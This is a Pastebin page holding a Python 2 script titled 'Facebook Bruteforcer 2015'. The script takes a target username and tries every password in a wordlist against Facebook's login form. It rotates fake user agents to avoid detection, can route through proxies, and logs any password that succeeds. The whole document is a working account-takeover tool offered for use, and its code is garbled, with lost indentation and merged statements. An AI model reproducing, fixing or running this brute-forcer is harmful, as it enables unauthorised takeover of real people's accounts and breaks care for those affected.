Commine

Facebook Bruteforcer 2015 Hack acc fb

Nov 22nd, 2015
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.05 KB | None | 0 0
  1. import reimport osimport sysimport randomimport warningsimport timetry:* *
  2. import mechanizeexcept ImportError:*
  3. * print "[*] Please install mechanize python module first"*
  4. * sys.exit(1)except KeyboardInterrupt:* *
  5. print "\n[*] Exiting program...\n"*
  6. * sys.exit(1)try:*
  7. * import cookielibexcept ImportError:*
  8. * print "[*] Please install cookielib python module first"* *
  9. sys.exit(1)except KeyboardInterrupt:*
  10. * print "\n[*] Exiting program...\n"*
  11. *sys.exit(1)warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)# define variable__programmer__ = "gunslinger_ <yudha.gunslinger@gmail.com>"__version__ = "1.0"verbose = Falseuseproxy = Falseusepassproxy = Falselog = 'fbbruteforcer.log'file = open(log, "a")success = 'http://www.facebook.com/?sk=messages&ref=mb'fblogin = 'https://login.facebook.com/login.php?login_attempt=1'# some cheating ..ouruseragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)','Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)','Microsoft Internet Explorer/4.0b1 (Windows 95)','Opera/8.00 (Windows NT 5.1; U; en)','amaya/9.51 libwww/5.4.0','Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)','Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)','Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']facebook = '''__ _ _/ _| | | | || |_ __ _ ___ ___| |__ ___ ___ | | __| _/ _` |/ __/ _ \ '_ \ / _ \ / _ \| |/ /| || (_| | (_| __/ |_) | (_) | (_) | |_| \__,_|\___\___|_.__/ \___/ \___/|_|\_\\bruteforcer...\033[1m\033[95mFixed by Andrea\033[0m\033[0mProgrammer : %sVersion : %s''' % (__programmer__, __version__)option = '''Usage : %s [options]Option : -u, --username <username> | User for bruteforcing-w, --wordlist <filename> | Wordlist used for bruteforcing-v, --verbose | Set %s will be verbose-p, --proxy <host:port> | Set http proxy will be use-k, --usernameproxy <username> | Set username at proxy will be use-i, --passproxy <password> | Set password at proxy will be use-l, --log <filename> | Specify output filename (default : fbbruteforcer.log)-h, --help <help> | Print this helpExample : %s -u brad@hackme.com -w wordlist.txt"P.S : add "&" to run in the background''' % (sys.argv[0], sys.argv[0], sys.argv[0])hme = '''Usage : %s [option]-h or --help for get help''' % sys.argv[0]def helpme():* * print facebook* * print option* * file.write(facebook) * ** * file.write(option)* * sys.exit(1)def helpmee():* * print facebook* * print hme* * file.write(facebook)* * file.write(hme)* * sys.exit(1)for arg in sys.argv:* * try:* * * * if arg.lower() == '-u' or arg.lower() == '--user':* * * * * * username = sys.argv[int(sys.argv[1:].index(arg))+2]* * * * elif arg.lower() == '-w' or arg.lower() == '--wordlist':* * * * * * wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]* *
  12. * * elif arg.lower() == '-l' or arg.lower() == '--log':* *
  13. * * * * log = sys.argv[int(sys.argv[1:].index(arg))+2]*
  14. * * * elif arg.lower() == '-p' or arg.lower() == '--proxy':* *
  15. * * * * useproxy = True* * * *
  16. * * proxy = sys.argv[int(sys.argv[1:].index(arg))+2]* * * *
  17. elif arg.lower() == '-k' or arg.lower() == '--userproxy':* * * * *
  18. * usepassproxy = True* * * *
  19. * * usw = sys.argv[int(sys.argv[1:].index(arg))+2]*
  20. * * * elif arg.lower() == '-i' or arg.lower() == '--passproxy':* *
  21. * * * * usepassproxy = True* * * * * * usp = sys.argv[int(sys.argv[1:].index(arg))+2]*
  22. * * * elif arg.lower() == '-v' or arg.lower() == '--verbose':* * * *
  23. * * verbose = True* * *
  24. * elif arg.lower() == '-h' or arg.lower() == '--help':* * *
  25. * * * helpme()* * * * elif len(sys.argv) * * * *
  26. * * helpmee()*
  27. * except IOError:* * *
  28. * helpme()* * except NameError:* *
  29. * * helpme()* * except IndexError:*
  30. * * * helpme()def bruteforce(word):*
  31. * try:* * *
  32. * sys.stdout.write("\r[*] Trying %s... " % word)* *
  33. * * file.write("[*] Trying %s\n" % word)* * *
  34. * sys.stdout.flush()* * *
  35. * br.addheaders = [('User-agent', random.choice(ouruseragent))]*
  36. * * * opensite = br.open(fblogin)* *
  37. * * br.select_form(nr=0)* *
  38. * * br.form['email'] = username* * *
  39. * br.form['pass'] = word* * *
  40. * br.submit()* * * *
  41. response = br.response().read()* * *
  42. * if verbose:* * * *
  43. * * print response* *
  44. * * if success in response:* * * *
  45. * * print "\n\n[*] Logging in success..."* * * *
  46. * * print "[*] Username : %s" % (username)* * *
  47. * * * print "[*] Password : %s\n" % (word)* * *
  48. * * * file.write("\n[*] Logging in success...")* * * * *
  49. * file.write("\n[*] Username : %s" % (username))* * * *
  50. * * file.write("\n[*] Password : %s\n\n" % (word))* * * *
  51. * * sys.exit(1)* * except KeyboardInterrupt:* *
  52. * * print "\n[*] Exiting program...\n"* * *
  53. * sys.exit(1)*
  54. * except mechanize._mechanize.FormNotFoundError:*
  55. * * * print "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n"*
  56. * * * file.write("\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n")* *
  57. * * sys.exit(1)* *
  58. except mechanize._form.ControlNotFoundError:* *
  59. * * print "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n"* *
  60. * * file.write("\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n")* * *
  61. * sys.exit(1)def releaser():*
  62. * global word* * for word in words:* *
  63. * * bruteforce(word.replace("\n",""))def main():*
  64. * global br* * global words* * try:* *
  65. * * br = mechanize.Browser()*
  66. * * * cj = cookielib.LWPCookieJar()* *
  67. * * br.set_cookiejar(cj)* * *
  68. * br.set_handle_equiv(True)* *
  69. * * br.set_handle_gzip(True)* * *
  70. * br.set_handle_redirect(True)* * * *
  71. br.set_handle_referer(True)* *
  72. * * br.set_handle_robots(False)* * *
  73. * br.set_debug_http(False)* * *
  74. * br.set_debug_redirects(False)* * *
  75. * br.set_debug_redirects(False)* * *
  76. * br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)*
  77. * * * if useproxy:* * * * * * br.set_proxies({"http": proxy})* * *
  78. * if usepassproxy:* * * * * * br.add_proxy_password(usw, usp)* *
  79. * * if verbose:* * * * * * br.set_debug_http(True)* * * * * * br.set_debug_redirects(True)* *
  80. * * * * br.set_debug_redirects(True)* *
  81. except KeyboardInterrupt:*
  82. * * * print "\n[*] Exiting program...\n"* *
  83. * * file.write("\n[*] Exiting program...\n")* *
  84. * * sys.exit(1)* * try:*
  85. * * * preventstrokes = open(wordlist, "r")* *
  86. * * words = preventstrokes.readlines()* * * * count = 0* * * * while count < len(words):* * * *
  87. * * words[count] = words[count].strip()* * * *
  88. * * count += 1* *
  89. except IOError:*
  90. * * * print "\n[*] Error: Check your wordlist path\n"* *
  91. * * file.write("\n[*] Error: Check your wordlist path\n")*
  92. * * * sys.exit(1)* * except NameError:* *
  93. * * helpme()* * except KeyboardInterrupt:* * *
  94. * print "\n[*] Exiting program...\n"* *
  95. * * file.write("\n[*] Exiting program...\n")* *
  96. * * sys.exit(1)* * try:* * * * print facebook* * *
  97. * print "\n[*] Starting attack at %s" % time.strftime("%X")* * *
  98. * print "[*] Account for bruteforcing %s" % (username)* * *
  99. * print "[*] Loaded :",len(words),"words"* * * *
  100. print "[*] Bruteforcing, please wait..."* * *
  101. * file.write(facebook)* *
  102. * * file.write("\n[*] Starting attack at %s" % time.strftime("%X"))* *
  103. * * file.write("\n[*] Account for bruteforcing %s" % (username))* * *
  104. * file.write("\n[*] Loaded : %d words" % int(len(words)))* *
  105. * * file.write("\n[*] Bruteforcing, please wait...\n")*
  106. * except KeyboardInterrupt:* * * * print "\n[*] Exiting program...\n"* *
  107. * * sys.exit(1)* * try:* * * * releaser()* * * * bruteforce(word)*
  108. * except NameError:* * * * helpme()if __name__ == '__main__':* * main()
Add Comment
Please, Sign In to add comment